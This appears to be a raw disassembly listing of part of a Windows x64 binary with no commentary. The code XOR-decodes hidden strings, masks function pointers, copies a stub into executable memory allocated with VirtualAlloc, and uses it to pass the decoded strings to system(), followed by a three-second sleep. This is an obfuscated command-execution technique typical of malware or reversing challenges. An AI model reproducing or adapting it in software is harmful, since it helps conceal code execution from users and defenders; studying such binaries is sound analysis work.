movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, rdx
sub r15, 1
jne 0x1400e5dd7
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
mov qword [rsi + rax*8 + 0x171b40], r12
mov qword [rsi + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x2d0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
xor rbx, r13
mov qword [rdi], rbx
xor ecx, ecx
int 0x29
lea rcx, [rbp + 0x21a0]
call fcn.140002aa4
mov r14, qword [rbp + 0x2d8]
xor r12d, r12d
jmp 0x1400e63fa
mov eax, dword [str.TTJ:_c]
mov dword [rbp - 0x38], eax
cmp byte [0x140152437], r12b
je 0x1400e5efe
mov r8d, r12d
lea r9, [rbp - 0x38]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 4
jl 0x1400e5ece
lea rax, [rbp - 0x38]
mov qword [rbp + 0x2e0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rsi, [rbp + 0x2ce8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
mov rbx, qword [rsi]
xor rbx, rax
mov qword [rsp + 0x58], rbx
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x140171b40]
lea r13, [0x140000000]
test rax, rax
je 0x1400e5f84
mov r8, r12
lea rdx, [0x140001250]
cmp rax, rdx
je 0x1400e5f73
inc ecx
mov r8d, ecx
mov rax, qword [r13 + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400e5f5a
jmp 0x1400e5f84
mov r8, qword [r13 + r8*8 + 0x171e60]
test r8, r8
jne 0x1400e606c
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e5fab
mov r8, r12
jmp 0x1400e6044
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e5fbe
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140001250]
mov qword [r13 + rax*8 + 0x171b40], rcx
mov qword [r13 + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x2e0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r10, 0xff00ff00ff00ff00
xor rbx, r10
mov qword [rsi], rbx
movups xmm0, xmmword [0x140152438]
movups xmmword [rbp + 0xea0], xmm0
movups xmm1, xmmword [0x140152448]
movups xmmword [rbp + 0xeb0], xmm1
movzx eax, word [0x140152458]
mov word [rbp + 0xec0], ax
mov al, byte [0x14015245a]
mov byte [rbp + 0xec2], al
mov r8d, r12d
lea r9, [rbp + 0xea0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x23
jl 0x1400e60ce
lea rax, [rbp + 0xea0]
mov qword [rbp + 0x2e8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rsi, [rbp + 0x2ce8]
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x68], rsi
mov rbx, qword [rsi]
xor rbx, r10
mov qword [rsp + 0x58], rbx
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400e6176
mov r8, r12
lea rdx, [0x140001250]
cmp rax, rdx
je 0x1400e6165
inc ecx
mov r8d, ecx
mov rax, qword [r13 + rcx*8 + 0x172190]
test rax, rax
jne 0x1400e614c
jmp 0x1400e6176
mov r8, qword [r13 + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400e625e
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e619d
mov r8, r12
jmp 0x1400e6236
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400e61b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140001250]
mov qword [r13 + rax*8 + 0x172190], rcx
mov qword [r13 + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x2e8]
mov rcx, rdi
call r8
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
mov qword [rsi], rbx
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x34], 0xbb8
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rsi, [rbp + 0x2ce8]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rsi
mov rdi, qword [rsi]
xor rdi, rcx
mov qword [rsp + 0x58], rdi
mov qword [rsi], r12
mov ecx, r12d
lea r13, [0x1400012a8]
mov rax, qword [0x1401727e0]
test rax, rax
je 0x1400e62fb
mov r8, r12
lea rdx, [0x140000000]
cmp rax, r13
je 0x1400e62ea
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x1727e0]
test rax, rax
jne 0x1400e62d1
jmp 0x1400e62fb
mov r8, qword [rdx + r8*8 + 0x172b00]
test r8, r8
jne 0x1400e63db
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400e6322
mov r8, r12
jmp 0x1400e63b3
mov rax, r13
mov rcx, r8
mov edx, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, rdx
sub r15, 1
jne 0x1400e632d
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401727d0]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x1727e0], r13
mov qword [rcx + rax*8 + 0x172b00], r8
inc rax
mov qword [0x1401727d0], rax
lea rdx, [rbp - 0x34]
mov rcx, rbx
call r8
nop
movabs r13, 0xff00ff00ff00ff00
xor rdi, r13
mov qword [rsi], rdi
xor ecx, ecx
int 0x29
mov rdx, qword [rbp + 0x2178]
cmp rdx, 0xf
jbe 0x1400e643e
inc rdx
mov rcx, qword [rbp + 0x2160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e6439
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e6439
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14014d244
mov qword [rbp + 0x2170], r12
mov qword [rbp + 0x2178], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2160], r12b
lea rcx, [rbp + 0x2a30]
call fcn.140002bd0
nop
xor r14, r13
lea rax, [rbp + 0x2ce8]
mov qword [rax], r14
xor eax, eax
mov rcx, qword [rbp + 0x2cb0]
xor rcx, rsp
call fcn.14014d660
lea r11, [rsp + 0x2dc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret